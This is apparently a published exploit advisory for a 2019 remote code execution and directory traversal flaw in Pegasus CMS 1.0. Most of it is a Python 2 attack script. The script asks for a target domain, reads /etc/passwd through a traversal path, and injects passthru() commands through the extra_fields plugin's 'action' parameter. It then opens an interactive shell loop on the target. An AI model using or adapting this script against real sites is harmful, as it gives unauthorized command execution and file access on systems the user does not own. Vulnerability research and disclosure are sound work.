Pegasus CMS 1.0 Remote Code Execution

`# Exploit Title: Pegasus extra_fields.php Plugin Remote Code Execution  
# Date: 14 March 2019  
# Exploit Author: R3zk0n  
# Vendor Homepage: https://www.wisdom.com.au/web/pegasus-cms  
# Software Link: N/A  
# Version: 1.0  
# Tested on: Linux  
# CVE : N/A  
  
The Pegasus CMS is vulnerable to directory travaseral and Remote code execution due to the way the extra_fields.php plugin functions.   
  
The Plugin can be exploited using the safer eval trick linked below http://justanotherhacker.com/2016/04/analysis_of_the_safer_eval_rce_aka__the_wahckon_bug.html to obtain remote code execution  
  
Exploit attached below:  
  
#Eval is secure.. not really.  
# These Greetz to people who are smart, Wireghoul, Nano, Silverly, m3mantra, and leostat. and z3al  
requests.packages.urllib3.disable_warnings()  
banner = '''  
Welcome to the DANGER ZONE.  
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;@#7. ;#@#. ]ssmMMm#@@@m,  
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;@C @@@@@@@@@@@@@@#\ @#\, *77@@@k  
##. #@@@@@@@@@@@@@# '* {@@@  
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@@@#@@@@@@@@@@@@@@@@@@#C =* ,ppJJs#@@@@@@@@@@@@@k @@  
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@[ @@5"@@@@@@@@@@#~ s@@@@@####@@@@@#\ @@@b ]@b  
@[ @ j@@@@@@@@~]#"7 "@@#"\ 7@@C @@@b ]@b  
@@ @@@@@@@@@@c ^@@ ]@ ,@@@# @@b  
@@~ @ @@@@@@@@@@@b @# a@@@@" ]@@  
j@Q @@@@@@@@@@@@@@@@o ,J ]\ s@@@@#"` ]@@L  
]@b ]@@@@@@@@@@@@@@@@o ,@@@@> ;@@@@@#^ #@@#  
@@Q """%*577"%@@@@@@# ]@@@@@C ;@@@@#C ;@@@#*  
%@m @@@@@@@ .@@@@@# {@@@@@> s@@@@#*  
7@@ @@M@@@@@k ^@@@"# @@@@@@@@@@@@@@@#  
*@@m @@bj@@@b@@@o|"^]# %@@@@@@#M7@@#^  
7@@m "# @@# @@7@@@@@@~ ^||:`,#@#C  
^%@@m j @b j# \@@@@@@ ,#@@#  
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^7@@@@@@@@@@@@@@@@@@@@#MT^:  
`~^"7""""7^\*:  
Chimeria Exploit.  
pegausCMS Exploit's.  
'''  
  
  
print banner  
  
  
raw_url = raw_input("Please enter a domain name: \n")  
  
  
def dir_Trav(raw_url):  
print "Checking for directory travseral..\n"  
dir_list = requests.get("https://www."+ raw_url + "/file/includes/template/inc/test.cgi?&filename=/../../../../../../../../etc/passwd", headers={"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Connection": "close", "Cache-Control": "max-age=0"})  
print dir_list.content  
return  
print "Trying to execute directory travseral"  
dir_Trav(raw_url)  
r = requests.get("http://" + raw_url)  
print "Checking Status code: %s" % r.status_code  
if r.status_code == 200:  
print "Connected"  
print "Checking is using vulnerable CMS."  
vuln = "http://" + raw_url + "/file/includes/plugins/globalFields/submit.php"  
b = requests.get("http://" + raw_url + "/file/includes/plugins/globalFields/submit.php")  
print "Checking CMS Status: %s " % b.status_code  
if b.status_code == 200:  
print "Seems exploitable.. Lets try to list the files!"  
  
  
  
print raw_url  
list_files = requests.post("http://www."+ raw_url +"/file/includes/plugins/extra_fields/submit.php", headers={"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0", "Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "en-US,en;q=0.5", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "Connection": "close"}, data={"action": "passthru(\"ls -lah\");exit;phpinfo"})  
print list_files.content  
status = list_files.status_code  
while status == 200:  
try:  
ShellCheck = raw_input("Shell>").strip()  
  
Shell = requests.post("http://www."+ raw_url +"/file/includes/plugins/extra_fields/submit.php", headers={"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0", "Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "en-US,en;q=0.5", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "Connection": "close"}, data={"action": "passthru(\"{}\");exit;phpinfo".format(ShellCheck)})  
  
print Shell.content  
if ShellCheck == "exit":  
sys.exit(0)  
except KeyboardInterrupt:  
print "Your exited bye"  
sys.exit(0)  
  
else:  
print "Connected but does not seem exploitable. \n"  
print "Bye!!!!!!!!!! \n"  
  
  
  
  
else:  
print "Not connected"  
`